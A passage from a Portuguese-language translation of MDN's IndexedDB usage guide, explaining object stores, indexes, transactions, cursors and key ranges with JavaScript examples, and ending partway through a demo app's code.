\"armazens de objetos\" em vez de tabelas, e um único banco de dados pode conter qualquer número de \"armazem de objetos\". Sempre que um valor é armazenado num objectStore, ele é associado a uma chave. Existe várias maneiras diferentes de uma chave ser mostrada, dependendo do que o objectStore usa, um key path ou key generator.\n\nA tabela abaixo mostra as direfentes chaves suportadas:\n\n| Key Path (`keyPath`) | Key Generator (`autoIncrement`) | Description |\n| --- | --- | --- |\n| Não | Não | Este objectStore pode ter qualquer tipo de valor primitivo como número ou string. Você deve suprir uma chave separada sempre que adicionar um novo valor. |\n| Sim | Não | Este objectStore pode simplesmente armazenar objetos JavaScript. O objeto deve ter uma propriedade com o mesmo nome do key path. |\n| Não | Sim | Este objectStore pode possuir qualquer tipo de valor. A chave é gerada para você, automaticamente, ou você pode suprir uma chave separada, caso utilize uma chave específica. |\n| Sim | Sim | Este objectStore suporta somente objetos JavaScript. Normalmente uma chave é gerada e o valor dela é armazenado no objeto em uma propriedade com o mesmo nome da key path. Portanto, se a propriedade já existe, o valor dela será usado como chave, em vez do valor gerado. |\n\nVocê também pode criar índices em qualquer objectStore. Um indice deixa você olhar os valores armazenados no objectStore usando o valor de uma propriedade do objectStore, em vez de sua chave.\n\nAdicionalmente, indices tem a habilidade de forçar restrições simples nos dados armazenados. Setando uma flag única quando criar o índice, reforça que dois objetos são armazenados contendo o mesmo valor para o key path do índice. Então, por exemplo, se você tem um objeto armazenado que tem um conjunto de pessoas, e você quer ter certeza que ninguém tera o mesmo e-mail, você pode usar um índice com flag única para forçar isso.\n\nIsso soa meio confuso, mas este exemplo pode iluminar o conceito. Primeiro, vamos definir alguns dados a serem usados no exemplo:\n\n\n```js\n// Isso é o que os dados de nossos clientes será.\nconst DadosClientes = [\n  { ssn: \"444-44-4444\", nome: \"Bill\", idade: 35, email: \"bill@company.com\" },\n  { ssn: \"555-55-5555\", nome: \"Donna\", idade: 32, email: \"donna@home.org\" },\n];\n```\n\n\nAgora vamos ver ccomo criar um IndexedDB para armazenar nossos dados:\n\n\n```js\nconst dbName = \"clientes\";\n\nvar request = indexedDB.open(dbName, 2);\n\nrequest.onerror = function (event) {\n  // Tratar erros.\n};\nrequest.onupgradeneeded = function (event) {\n  var db = event.target.result;\n\n  // Cria um objectStore para conter a informação sobre nossos clientes. Nós vamos\n  // usar \"ssn\" como key path porque sabemos que é único;\n  var objectStore = db.createObjectStore(\"clientes\", { keyPath: \"ssn\" });\n\n  // Cria um índice para buscar clientes pelo nome. Podemos ter nomes\n  // duplicados, então não podemos usar como índice único.\n  objectStore.createIndex(\"nome\", \"nome\", { unique: false });\n\n  // Cria um índice para buscar clientes por email. Queremos ter certeza\n  // que não teremos 2 clientes com o mesmo e-mail;\n  objectStore.createIndex(\"email\", \"email\", { unique: true });\n\n  // Usando transação oncomplete para afirmar que a criação do objectStore\n  // é terminada antes de adicionar algum dado nele.\n  objectStore.transaction.oncomplete = function (event) {\n    // Armazenando valores no novo objectStore.\n    var clientesObjectStore = db\n      .transaction(\"clientes\", \"readwrite\")\n      .objectStore(\"clientes\");\n    for (var i in DadosClientes) {\n      clientesObjectStore.add(DadosClientes[i]);\n    }\n  };\n};\n```\n\n\nComo falamos antes, `onupgradeneeded` é o único lugar onde você pode alterar a estrutura do banco. Nele você pode criar e deletar objectStores e construir ou remover índices.\n\nArmazens de objetos são criados com uma única chamada de `createObjectStore()`. O método pega o nome do armazem e um objeto parâmetro. Mesmo que o objeto parâmetro seja opcional, ele é muito importante porque ele deixa você definir propriedades importantes e ajustar tipos de dados que você quer criar. No nosso caso, nós obtemos um objectStore chamado \"clientes\" e definimos um `keyPath`, que é a propriedade que faz um objeto individual ser único no banco. Essa propriedade, nesse exemplo, é \"ssn\", que simboliza o cpf (social security number), que é único. O \"ssn\" deve ser apresentado em cada objeto armazenado no `objectStore`.\n\nNós também criamos um índice chamado \"nome\" ligado à propriedade `nome`. Assim como o `createObjectStore()`, o `createIndex()` tem um parâmetro opcional `options` que cuida do tipo de índice que você quer criar. Adicionando objetos que não tem a propriedade `nome` terá sucesso, porém esses objetos não aparecerão no índice \"nome\".\n\nNós podemos obter os objetos de clientes armazenados usando os `ssn` da objectStore diretamente, ou usando os nomes usados no índice. Para aprender como isso é feito, veja a seção usando um índice.\n\n### Usando um key generator\n\nSetando uma flag `autoIncrement` ao criar o objectStore habilitará o key generator. Por padrão ele não é setado.\n\nCom o key generator, a chave será gerada automaticamente quando você adicionar algum valor no objectStore. O atual número do key generator é sempre setado 1 quando a primeira key generator do objectStore é criada. Basicamente a próxima chave recebe o incremento de 1. O número atual da key generator nunca decresce, a não ser se alguma operação do banco for revertida, como numa transação abortada, por exemplo. No entanto, deletar um registro ou limpar todos os registros nunca afeta o key generator dos objectStores.\n\nNós podemos criar outro objectStore com o key generator como abaixo:\n\n\n```js\n// Abrindo o indexedDB.\nvar request = indexedDB.open(dbName, 3);\n\nrequest.onupgradeneeded = function (event) {\n  var db = event.target.result;\n\n  // Criando outro objeto chamado \"names\" com o autoIncrement setado.\n  var objStore = db.createObjectStore(\"names\", { autoIncrement: true });\n\n  // Porque \"names\" tem o the key generator, a chave para o nome é gerada automaticamente.\n  // Os registros adicionados serão assim:\n  // key : 1 => value : \"Bill\"\n  // key : 2 => value : \"Donna\"\n  for (var i in DadosClientes) {\n    objStore.add(DadosClientes[i].nome);\n  }\n};\n```\n\n\nPara mais detalhes veja \"W3C Key Generators\".\n\nAdicionando, obtendo e removendo dados\n--------------------------------------\n\nAntes de fazer qualquer coisa em um novo banco, você precisa iniciar uma transação. Transações estão no objeto database, e você tem que especificar qual objectStore você quer na transaction. Uma vez que você está dentro da transação, você pode acessar os objectStores com seus dados e fazer os requests. Depois, você precisa decidir se você vai fazer mudanças no banco ou se você simplesmente quer ler esses dados. Transações tem três modos disponíveis: `readonly`, `readwrite`, and `versionchange`.\n\nPara mudar o \"schema\" ou estrutura do banco — o que envolve criar ou deletar objectStores ou índices — a transação deve ser em modo `versionchange`. Esta transação é aberta chamando o método `IDBFactory.open` (en-US) especificando a `version`. (Em navegadores com WebKit que não tem a ultima especificação implementada, o método `IDBFactory.open` (en-US) tem apenas um parâmetro, o `nome` do banco; então você deve chamar `IDBVersionChangeRequest.setVersion` para estabelecer uma transação `versionchange`.)\n\nPara ler os registros de um objectStore existente, a transação pode ser tanto `readonly` quanto `readwrite`. Para fazer mudanças em um objectStore existente, a transação deve ser em modo `readwrite`. Você abre essas transações usando `IDBDatabase.transaction` (en-US). O método aceita dois parâmetros: o `storeNames` (o escopo, definido como um array de objectStores que você quer acessar) e o `modo` (`readonly` or `readwrite`) da transação. O método retorna o objeto detransação contendo o método `IDBIndex.objectStore` (en-US), que você pode usar para acessar seu objectStore. Por padrão, quando nenhum modo é especificado, a transação é aberta no modo `readonly`.\n\nVocê pode deixar o acesso aos dados mais rápido usando o escopo correto e o modo correto de transação. Aqui vai algumas dicas:\n\n* Quando definir o escopo, especifique apenas os objectStores que você precisa. Desse jeito você pode rodar multiplas transações sem que uma sobreponha a outra.\n* Somente especifique uma transação `readwrite` quando necessário. Você pode rodar várias transações `readonly` com escopos sobreposts, mas você pode ter somente uma transação `readwrite` por objectStore. Para aprender mais sobre *transactions (en-US)* veja Basic Concepts (en-US).\n### Adicionando dados no banco\n\nSe você acabou de criar o banco, então você provavelmente quer escrever algo nele. Veja abaixo:\n\n\n```js\nvar transaction = db.transaction([\"clientes\"], \"readwrite\");\n// Nota: Implementações mais antigas usam uma versão IDBTransaction.READ\\_WRITE antiga em vez de \"readwrite\".\n// Então, para suportar versões antigas, escreva:\n// var transaction = db.transaction([\"clientes\"], IDBTransaction.READ\\_WRITE);\n```\n\n\nA função `transaction()` tem dois argumentos (opcionais) e retorna um objeto de transação. O primeiro argumento é uma lista de objectStores que serão trabalhados na transação. Você pode passar um array vazio se você quer uma transação com todos os objectStores, mas não faça isso pois a especificação diz que um array vazio pode gerar um erro InvalidAccessError. Se você não especificar nada no segundo parâmetro, você tem uma transação read-only. Se você quer escrever no banco, use `\"readwrite\"`.\n\nAgora que você tem uma transação, você precisa entender seu tempo de uso. Transações são amarradas a um evento. Se você faz uma transação fora de um evento, ela ficará inativa. A única maneira de manter uma transação ativa é fazer um request nela. Quando o request acabar você terá a oportunidade de extender a transação durante o callback. Se você tentar extender uma transação dentro de um evento, então ela tornará inativa. Se existir requests pendentes, a transação continua ativa. O tempo de vida de uma transação é realmente simples mas deve ser usada em um curto espaço de tempo. Outros exemplos poderão ajudá-lo. Se você começar a ver `TRANSACTION_INACTIVE_ERR` error então você está fazendo algo errado.\n\nTransações podem receber eventos DOM de três tipos diferentes: `error`, `abort`, e `complete`. Nós falamos sobre o `error`, ou seja, a transação recebe um error sempre que o request gerar erro. Um ponto mais sutil é que o comportamento padrão de um erro é abortar a transação na qual ele estava. A menos que você manipule o erro chamando `preventDefault()` e fazendo algo depois, a transaçaõ inteira será desfeita. Este design força você a pensar sobre manipulação de erros, mas você pode sempre adicionar um manipulador de todos os erros se a manipulação separada estiver complicada. Se você não tratar o erro ou chamar `abort()` na transação, então a transação é desfeita (roll back) e o evento `abort` é chamado. Por outro lado, depois de todo request completado, você tem um evento `complete`. Se você fazer várias operações no banco, então seguir as operações de transações pode ser um caminho a seguir.\n\nAgora que você tem uma transação, você precisará obter um objectStore dela. Transações somente deixam você obter um objectStore citado na transação. Então você pode adicionar os dados que precisa.\n\n\n```js\n// Faz algo após a inserção dos dados.\ntransaction.oncomplete = function (event) {\n  alert(\"Pronto!\");\n};\n\ntransaction.onerror = function (event) {\n  // Não esquecer de tratar os erros!\n};\n\nvar objectStore = transaction.objectStore(\"clientes\");\nfor (var i in DadosClientes) {\n  var request = objectStore.add(DadosClientes[i]);\n  request.onsuccess = function (event) {\n    // event.target.result == DadosClientes[i].ssn;\n  };\n}\n```\n\n\nO `result` de um request gerado de uma chamada de `add()` é a chave do valor que foi adicionado. Então neste caso, ele deve ser igual ao valor do `ssn` do objeto que foi adicionado, desde que o objeto use o `ssn` como key path. Note que a função `add()` não deixa nenhum objeto ser adicionado com a mesma chave. Se você está tentando modificar um registro existente, você deve usar o `put()`, como explica a seção Updating an entry in the database.\n\n### Removendo dados do banco\n\nPara remoção o código é parecido:\n\n\n```js\nvar request = db\n  .transaction([\"clientes\"], \"readwrite\")\n  .objectStore(\"clientes\")\n  .delete(\"444-44-4444\");\nrequest.onsuccess = function (event) {\n  // Pronto!\n};\n```\n\n### Obtendo dados do banco\n\nAgora que o banco tem algumas informações nele, você pode obtê-las de diferentes maneiras. Primeiro, um `get()` simples. Você precisa informar a chave do valor a ser obtido:\n\n\n```js\nvar transaction = db.transaction([\"clientes\"]);\nvar objectStore = transaction.objectStore(\"clientes\");\nvar request = objectStore.get(\"444-44-4444\");\nrequest.onerror = function (event) {\n  // Tratar erro!\n};\nrequest.onsuccess = function (event) {\n  // Fazer algo com request.result!\n  alert(\"O nome do SSN 444-44-4444 é \" + request.result.name);\n};\n```\n\n\nVeja agora de maneira resumida:\n\n\n```js\ndb\n  .transaction(\"clientes\")\n  .objectStore(\"clientes\")\n  .get(\"444-44-4444\").onsuccess = function (event) {\n  alert(\"O nome do SSN 444-44-4444 é \" + request.result.name);\n};\n```\n\n\nViu como funciona? Desde que exista um objectStore, você pode evitar passar uma lista de objectStores que precisa na transação e passar apenas o nome como string. Você também pode ler do banco, apenas, então não precisará de uma transação `\"readwrite\"`. Chamando `transaction()` com nenhum modo especificado, você terá uma transação `\"readonly\"`. Outra consideração é que você não necessita salvar o request em uma variável. Desde que o evento DOM tenha o target que você precisará para obter a propriedade `result`.\n\n**Nota:** Você pode deixar o acesso aos dados mais rápido limitando o escopo e o modo de transação. Veja algumas dicas:\n\n* Quando definir o escopo, especifique somente os objectStores que vai precisar. Assim você pode rodar multiplas transações sem sopreposições.\n* Utilize uma transação `readwrite` somente quando necessário. Você pode rodar várias transações `readonly` simultâneas, mas apenas uma transação `readwrite` por objectStore. Para aprender mais sobre isso veja o artigo *transactions* in the Basic Concepts (en-US).\n\n### Atualizando um registro no banco\n\nAgora que obtemos algum dado, atualizá-ls é inserí-los novamente no IndexedDB é bem simples. Vamos atualizar o exemplo anterior:\n\n\n```js\nvar objectStore = db\n  .transaction([\"clientes\"], \"readwrite\")\n  .objectStore(\"clientes\");\nvar request = objectStore.get(\"444-44-4444\");\nrequest.onerror = function (event) {\n  // Tratar erro\n};\nrequest.onsuccess = function (event) {\n  // Obter os valores antigos\n  var data = request.result;\n\n  // atualizar algum dado\n  data.age = 42;\n\n  // Atulizar esse dado no banco\n  var requestUpdate = objectStore.put(data);\n  requestUpdate.onerror = function (event) {\n    // Tratar erro\n  };\n  requestUpdate.onsuccess = function (event) {\n    // Sucesso na atualização \\o/\n  };\n};\n```\n\n\nCriamos uma `objectStore` e obtemos um cliente dele, identificado pelo ssn (`444-44-4444`). Nós atualizamos o objeto, passando-o como parâmetro de um método put de outro request (`requestUpdate`) sobrescrevendo o valor antigo.\n\n**Nota:** que neste caso nós temos que especificar a transação `readwrite` porque nós queremos escrever no banco, não somente ler os dados dele.\n\n### Usando um cursor\n\nAo usar o método `get()` você precisa saber a chave do objeto que deseja obter. Se você quer passear entre todos os valores do seu objectStore, então você pode usar um cursor. Veja:\n\n\n```js\nvar objectStore = db.transaction(\"cliente\").objectStore(\"cliente\");\n\nobjectStore.openCursor().onsuccess = function (event) {\n  var cursor = event.target.result;\n  if (cursor) {\n    alert(\"O nome do SSN \" + cursor.key + \" é \" + cursor.value.name);\n    cursor.continue();\n  } else {\n    alert(\"Não existe mais registros!\");\n  }\n};\n```\n\n\n`A função openCursor()` tem vários argumentos. Primeiro, você pode limitar o número de itens obtidos usando uma chave que veremos logo abaixo. Segundo, você pode especificar a direção que deseja iterar. No exemplo acima, nós estamos iterando em todos os objetos em ordem ascendente. O callback de sucesso para cursor é um pouco especial. O objeto cursor já é o `result` do request (acima nós usamos `event.target.result`). Então a chave atual e o valor pode ser encontrado na propriedade `key` e `value` do objeto cursor. Se você quer manter adiante, então você usa o método `continue()`. Quando você chegar ao fim dos dados (ou se não existem registros encontrados no `openCursor()`) você ainda tem um callback de sucesso, mas a propriedade `result` fica `undefined`.\n\nUm padrão comum para cursores é obter todos os objetos em um objectStore e adicioná-los a um array como este:\n\n\n```js\nvar clientes = [];\n\nobjectStore.openCursor().onsuccess = function (event) {\n  var cursor = event.target.result;\n  if (cursor) {\n    clientes.push(cursor.value);\n    cursor.continue();\n  } else {\n    alert(\"Todos os clientes: \" + clientes);\n  }\n};\n```\n\n\n**Nota:** Note: Mozilla também implementou o método `getAll()` para ser usado nesse caso (e `getAllKeys()`, que está atualmente dentro da preferência do `dom.indexedDB.experimental` em about:config). Estes métodos não são parte do padrão IndexedDB, então eles podem desaparecer no futuro. Nós adicionamos porque achamos útil. O código abaixo faz o mesmo que o código acima:\n\n\n```js\nobjectStore.getAll().onsuccess = function (event) {\n  alert(\"Todos os clientes: \" + event.target.result);\n};\n```\n\n\nExiste um custo de performance associado com a propriedade `value` do cursor, porque o objeto é criado de forma lenta. Quando você usa `getAll()` por exemplo, Gecko deve criar todos os objetos de uma vez. Se você está somente interessado em cada chave, é muito melhor usar o cursor do que usar o `getAll()`. Se você está tentando obter um array de todos os objetos, então é melhor usar o `getAll()`.\n\n### Usando um índice\n\nArmazenar dados de um cliente usando o SSN como chave é lógico pois o SSN identifica o cliente de forma única. Se você precisa obter um cliente pelo seu nome, portanto, você precisará iterar todos os registros no banco e comparar os nomes até achar o que você procura. Buscar dessa maneira é algo lento, então criamos um índice.\n\n\n```js\nvar index = objectStore.index(\"nome\");\nindex.get(\"John\").onsuccess = function (event) {\n  alert(\"O SSN de John é \" + event.target.result.ssn);\n};\n```\n\n\nO cursor \"nome\" não é único, então pode existir mais de um registro com o `nome` igual a `\"John\"`. Neste caso você sempre obtem o registro com a chave de menor valor.\n\nSe você precisa acessar todos os registros retornados, você pode usar um cursor. Você pode abrir dois tipos de cursores. Um cursor normal mapeia o índice ao objeto na objectStore. Uma cursor-chave mapeia o a propriedade índice à chave usada para armazenar o objeto. As diferenças são ilustradas abaixo:\n\n\n```js\n// Usando um cursor normal para obter todos os objetos\nindex.openCursor().onsuccess = function (event) {\n  var cursor = event.target.result;\n  if (cursor) {\n    // cursor.key é um nome, como \"Bill\", e cursor.value é o objeto inteiro.\n    alert(\n      \"Nome: \" +\n        cursor.key +\n        \", SSN: \" +\n        cursor.value.ssn +\n        \", email: \" +\n        cursor.value.email,\n    );\n    cursor.continue();\n  }\n};\n\n// Usando um cursor-chave para obter todos os objetos\nindex.openKeyCursor().onsuccess = function (event) {\n  var cursor = event.target.result;\n  if (cursor) {\n    // cursor.key é o nome, como \"Bill\", e cursor.value é o SSN (chave).\n    // Não tem como obter o resto do objeto\n    alert(\"Nome: \" + cursor.key + \", SSN: \" + cursor.value);\n    cursor.continue();\n  }\n};\n```\n\n### Especificando o número e a direção dos cursores\n\nSe você gostaria de limitar o número de valores retornados pelo cursor, você pode usar um objeto `IDBKeyRange` e passar isso como o primeiro argumento ao `openCursor()` ou `openKeyCursor()`. Você pode fazer um key range que permite um único valor, ou valores acima ou abaixo do especificado. O limite pode ser fechado (o key range inclui os valores dados) ou aberto (o key range não inclue os valores dados). Veja como funciona:\n\n\n```js\n// Somente se for igual \"Donna\"\nvar singleKeyRange = IDBKeyRange.only(\"Donna\");\n\n// Combinações menores que \"Bill\", incluindo \"Bill\"\nvar lowerBoundKeyRange = IDBKeyRange.lowerBound(\"Bill\");\n\n// Combinações menores que \"Bill\", sem incluir \"Bill\"\nvar lowerBoundOpenKeyRange = IDBKeyRange.lowerBound(\"Bill\", true);\n\n// Combinações maiores que Donna, não incluindo \"Donna\"\nvar upperBoundOpenKeyRange = IDBKeyRange.upperBound(\"Donna\", true);\n\n// Combinações entre \"Bill\" e \"Donna\", sem incluir \"Donna\"\nvar boundKeyRange = IDBKeyRange.bound(\"Bill\", \"Donna\", false, true);\n\n// Para usar qualquer um desses key ranges, basta passar como primeiro parâmetro de openCursor()/openKeyCursor()\nindex.openCursor(boundKeyRange).onsuccess = function (event) {\n  var cursor = event.target.result;\n  if (cursor) {\n    // Faz algo com o que encontrar\n    cursor.continue();\n  }\n};\n```\n\n\nAs vezes você pode querer iterar em ordem decrescente, em vez de crescente, alterando o segundo parâmetro de `openCursor()`:\n\n\n```js\nobjectStore.openCursor(boundKeyRange, \"prev\").onsuccess = function (event) {\n  var cursor = event.target.result;\n  if (cursor) {\n    // Prev indica ordem decrescente\n    cursor.continue();\n  }\n};\n```\n\n\nSe você apenas quer especificar a ordem sem key range, é só passar null no primeiro parâmetro:\n\n\n```js\nobjectStore.openCursor(null, \"prev\").onsuccess = function (event) {\n  var cursor = event.target.result;\n  if (cursor) {\n    // Faça algo com os resultados.\n    cursor.continue();\n  }\n};\n```\n\n\nUma vez que o índice \"nome\" não é único, pode existir várias entradas onde o `nome` é o mesmo. Isso não acontece com objectStores porque a chave deve ser sempre única. Se você deseja filtrar valores duplicados numa iteração do cursor, você pode passar `nextunique` (ou `prevunique` se quiser decrescer) como parâmetro de direção. Quando `nextunique` ou `prevunique` é usado, o registro com menor chave é retornado.\n\n\n```js\nindex.openKeyCursor(null, \"nextunique\").onsuccess = function (event) {\n  var cursor = event.target.result;\n  if (cursor) {\n    // Faça algo com os registros.\n    cursor.continue();\n  }\n};\n```\n\n\nVeja \"IDBCursor Constants\" para parâmetros válidos.\n\nMudança de versão quando a web app está aberta em outra aba\n-----------------------------------------------------------\n\nQuando sua web app muda a versão você precisa considerar o que vai acontecer se o usuário está na versão antiga em uma aba, e carrega a versão nova na outra. Quando você chamar o `open()` com a versão mais nova, um evento `onblocked` é chamado até que a aba da versão antiga seja fechada ou recarregada. Veja abaixo:\n\n\n```js\nvar openReq = mozIndexedDB.open(\"DBteste\", 2);\n\nopenReq.onblocked = function (event) {\n  // Se existe outra aba com a versão antiga\n  alert(\n    \"Existe uma versão antiga da web app aberta em outra aba, feche-a por favor!\",\n  );\n};\n\nopenReq.onupgradeneeded = function (event) {\n  // Se estiver tudo fechado, então faça as devidas alterações\n  db.createObjectStore(/\\* ... \\*/);\n  useDatabase(db);\n};\n\nopenReq.onsuccess = function (event) {\n  var db = event.target.result;\n  useDatabase(db);\n  return;\n};\n\nfunction useDatabase(db) {\n  // Esteja certo de que adicionou um evento para notificar se a página muda a versão\n  // Nós devemos fechar o banco. Isso permite à outra página ser atualizada\n  // Se você não fizer isso a atualização não acontecerá até fechar as abas.\n  db.onversionchange = function (event) {\n    db.close();\n    alert(\"Uma nova versão desta web app está pronta. Atualiza, por favor!\");\n  };\n\n  // Fazer algo com os bancos\n}\n```\n\nSegurança\n---------\n\nIndexedDB usa o princípio de mesma origem, o que significa que o banco só será acessado pelo site que o criou.\n\nÉ importante notar que o IndexedDB não funciona para conteúdo carregado em um frame de outro site (seja `<frame>` (en-US) ou `<iframe>`. Esta é uma política de segurança e privacidade análoga ao bloqueio de cookies de terceiros. Para mais detalhes, veja Firefox bug 595307.\n\nAlerta sobre fechar o navegador\n-------------------------------\n\nQuando o navegador é fechado, qualquer transação pendente no IndexedDB será abortada (silenciosamente) — ele não vai completar, nem chamar o evento de erro. Uma vez que o usuário pode sair do navegador, em qualquer momento, isto significa que você não pode confiar em qualquer transação específica para completar ou para saber que ela não foi concluída. Existem várias implicações nesse comportamento.\n\nPrimeiro, você deve ter o cuidado de sempre deixar seu banco de dados em um estado consistente, no final de cada transação. Por exemplo, suponha que você está usando IndexedDB para armazenar uma lista de itens que permitem ao usuário editar. Você salvar a lista após a edição, limpando o armazenamento de objetos e, em seguida, escrever a nova lista. Se você limpar o armazenamento de objetos em uma transação e escrever a nova lista em outra transação, há um perigo de que o navegador irá fechar após a limpeza de dados e antes da gravação, deixando-o com um banco de dados vazio. Para evitar isso, você deve combinar tanto a limpeza quanto a gravação em uma única transação.\n\nEm segundo lugar, você nunca deve amarrar as operações de banco de dados ao evento unload. Se o evento unload é acionado pelo fechamento do navegador, todas as transações criadas no unload nunca serão concluídas. Uma abordagem intuitiva para manter algumas informações em sessões do navegador é lê-la a partir do banco de dados quando o navegador (ou uma determinada página) é aberta, atualizá-la assim que o usuário interagir com o navegador, e depois salvá-lo para o banco de dados quando o navegador (ou página) será fechada. No entanto, isso não vai funcionar. As transações de banco de dados será criado no unload, mas como elas são assíncronas, serão abortadas antes que eles possam executar.\n\nDe fato, não existe uma maneira de garantir que as transações no IndexedDBserão completadas, mesmo com o fechamento padrão do navegador. Ver Firefox bug 870645.\n\nExemplo de IndexedDB\n--------------------\n\n### HTML\n\n\n```html\n<script\n type=\"text/javascript\"\n src=\"https://ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js\"></script>\n\n<h1>IndexedDB Demo: storing blobs, e-publication example</h1>\n<div class=\"note\">\n  <p>Works and tested with:</p>\n  <div id=\"compat\"></div>\n</div>\n\n<div id=\"msg\"></div>\n\n<form id=\"register-form\">\n  <table>\n    <tbody>\n      <tr>\n        <td>\n          <label for=\"pub-title\" class=\"required\"> Title: </label>\n        </td>\n        <td>\n          <input type=\"text\" id=\"pub-title\" name=\"pub-title\" />\n        </td>\n      </tr>\n      <tr>\n        <td>\n          <label for=\"pub-biblioid\" class=\"required\">\n            Bibliographic ID:<br />\n            <span class=\"note\">(ISBN, ISSN, etc.)</span>\n          </label>\n        </td>\n        <td>\n          <input type=\"text\" id=\"pub-biblioid\" name=\"pub-biblioid\" />\n        </td>\n      </tr>\n      <tr>\n        <td>\n          <label for=\"pub-year\"> Year: </label>\n        </td>\n        <td>\n          <input type=\"number\" id=\"pub-year\" name=\"pub-year\" />\n        </td>\n      </tr>\n    </tbody>\n    <tbody>\n      <tr>\n        <td>\n          <label for=\"pub-file\"> File image: </label>\n        </td>\n        <td>\n          <input type=\"file\" id=\"pub-file\" />\n        </td>\n      </tr>\n      <tr>\n        <td>\n          <label for=\"pub-file-url\">\n            Online-file image URL:<br />\n            <span class=\"note\">(same origin URL)</span>\n          </label>\n        </td>\n        <td>\n          <input type=\"text\" id=\"pub-file-url\" name=\"pub-file-url\" />\n        </td>\n      </tr>\n    </tbody>\n  </table>\n\n  <div class=\"button-pane\">\n    <input type=\"button\" id=\"add-button\" value=\"Add Publication\" />\n    <input type=\"reset\" id=\"register-form-reset\" />\n  </div>\n</form>\n\n<form id=\"delete-form\">\n  <table>\n    <tbody>\n      <tr>\n        <td>\n          <label for=\"pub-biblioid-to-delete\">\n            Bibliographic ID:<br />\n            <span class=\"note\">(ISBN, ISSN, etc.)</span>\n          </label>\n        </td>\n        <td>\n          <input\n type=\"text\"\n id=\"pub-biblioid-to-delete\"\n name=\"pub-biblioid-to-delete\" />\n        </td>\n      </tr>\n      <tr>\n        <td>\n          <label for=\"key-to-delete\">\n            Key:<br />\n            <span class=\"note\">(for example 1, 2, 3, etc.)</span>\n          </label>\n        </td>\n        <td>\n          <input type=\"text\" id=\"key-to-delete\" name=\"key-to-delete\" />\n        </td>\n      </tr>\n    </tbody>\n  </table>\n  <div class=\"button-pane\">\n    <input type=\"button\" id=\"delete-button\" value=\"Delete Publication\" />\n    <input\n type=\"button\"\n id=\"clear-store-button\"\n value=\"Clear the whole store\"\n class=\"destructive\" />\n  </div>\n</form>\n\n<form id=\"search-form\">\n  <div class=\"button-pane\">\n    <input\n type=\"button\"\n id=\"search-list-button\"\n value=\"List database content\" />\n  </div>\n</form>\n\n<div>\n  <div id=\"pub-msg\"></div>\n  <div id=\"pub-viewer\"></div>\n  <ul id=\"pub-list\"></ul>\n</div>\n```\n\n### CSS Content\n\n\n```css\nbody {\n  font-size: 0.8em;\n  font-family: Sans-Serif;\n}\n\nform {\n  background-color: #cccccc;\n  border-radius: 0.3em;\n  display: inline-block;\n  margin-bottom: 0.5em;\n  padding: 1em;\n}\n\ntable {\n  border-collapse: collapse;\n}\n\ninput {\n  padding: 0.3em;\n  border-color: #cccccc;\n  border-radius: 0.3em;\n}\n\n.required:after {\n  content: \"\\*\";\n  color: red;\n}\n\n.button-pane {\n  margin-top: 1em;\n}\n\n#pub-viewer {\n  float: right;\n  width: 48%;\n  height: 20em;\n  border: solid #d092ff 0.1em;\n}\n#pub-viewer iframe {\n  width: 100%;\n  height: 100%;\n}\n\n#pub-list {\n  width: 46%;\n  background-color: #eeeeee;\n  border-radius: 0.3em;\n}\n#pub-list li {\n  padding-top: 0.5em;\n  padding-bottom: 0.5em;\n  padding-right: 0.5em;\n}\n\n#msg {\n  margin-bottom: 1em;\n}\n\n.action-success {\n  padding: 0.5em;\n  color: #00d21e;\n  background-color: #eeeeee;\n  border-radius: 0.2em;\n}\n\n.action-failure {\n  padding: 0.5em;\n  color: #ff1408;\n  background-color: #eeeeee;\n  border-radius: 0.2em;\n}\n\n.note {\n  font-size: smaller;\n}\n\n.destructive {\n  background-color: orange;\n}\n.destructive:hover {\n  background-color: #ff8000;\n}\n.destructive:active {\n  background-color: red;\n}\n```\n\n### JavaScript Content\n\n\n```js\n(function () {\n  var COMPAT\\_ENVS = [\n    [\"Firefox\", \">= 16.0\"],\n    [\n      \"Google Chrome\",\n      \">= 24.0 (you may need to get Google Chrome Canary), NO Blob storage support\",\n    ],\n  ];\n  var compat = $(\"#compat\");\n  compat.empty();\n  compat.append('<ul id=\"compat-list\"></ul>');\n  COMPAT\\_ENVS.forEach(function (val, idx, array) {\n    $(\"#compat-list\").append(\"<li>\" + val[0] + \": \" + val[1] + \"</li>\");\n  });\n\n  const DB\\_NAME = \"mdn-demo-indexeddb-epublications\";\n  const DB\\_VERSION = 1; // Use a long long for this value (don't use a float)\n  const DB\\_STORE\\_NAME = \"publications\";\n\n  var db;\n\n  // Used to keep track of which view is displayed to avoid uselessly reloading it\n  var current_view_pub_key;\n\n  function openDb() {\n    console.log(\"openDb ...\");\n    var req = indexedDB.open(DB\\_NAME, DB\\_VERSION);\n    req.onsuccess = function (evt) {\n      // Better use \"this\" than \"req\" to get the result to avoid problems with\n      // garbage collection.\n      // db = req.result;\n      db = this.result;\n      console.log(\"openDb DONE\");\n    };\n    req.onerror = function (evt) {\n      console.error(\"openDb:\", evt.target.errorCode);\n    };\n\n    req.onupgradeneeded = function (evt) {\n      console.log(\"openDb.onupgradeneeded\");\n      var store = evt.currentTarget.result.createObjectStore(DB\\_STORE\\_NAME, {\n        keyPath: \"id\",\n        autoIncrement: true,\n      });\n\n      store.createIndex(\"biblioid\", \"biblioid\", { unique: true });\n      store.createIndex(\"title\", \"title\", { unique: false });\n      store.createIndex(\"year\", \"year\", { unique: false });\n    };\n  }\n\n  /\\*\\*\n \\* @param {string} store\\_name\n \\* @param {string} mode either \"readonly\" or \"readwrite\"\n \\*/\n  function getObjectStore(store\\_name, mode) {\n    var tx = db.transaction(store_name, mode);\n    return tx.objectStore(store_name);\n  }\n\n  function clearObjectStore(store\\_name) {\n    var store = getObjectStore(DB\\_STORE\\_NAME, \"readwrite\");\n    var req = store.clear();\n    req.onsuccess = function (evt) {\n      displayActionSuccess(\"Store cleared\");\n      displayPubList(store);\n    };\n    req.onerror = function (evt) {\n      console.error(\"clearObjectStore:\", evt.target.errorCode);\n      displayActionFailure(this.error);\n    };\n  }\n\n  function getBlob(key, store, success\\_callback) {\n    var req = store.get(key);\n    req.onsuccess = function (evt) {\n      var value = evt.target.result;\n      if (value) success\\_callback(value.blob);\n    };\n  }\n\n  /\\*\\*\n \\* @param {IDBObjectStore=} store\n \\*/\n  function displayPubList(store) {\n    console.log(\"displayPubList\");\n\n    if (typeof store == \"undefined\")\n      store = getObjectStore(DB\\_STORE\\_NAME, \"readonly\");\n\n    var pub_msg = $(\"#pub-msg\");\n    pub_msg.empty();\n    var pub_list = $(\"#pub-list\");\n    pub_list.empty();\n    // Resetting the iframe so that it doesn't display previous content\n    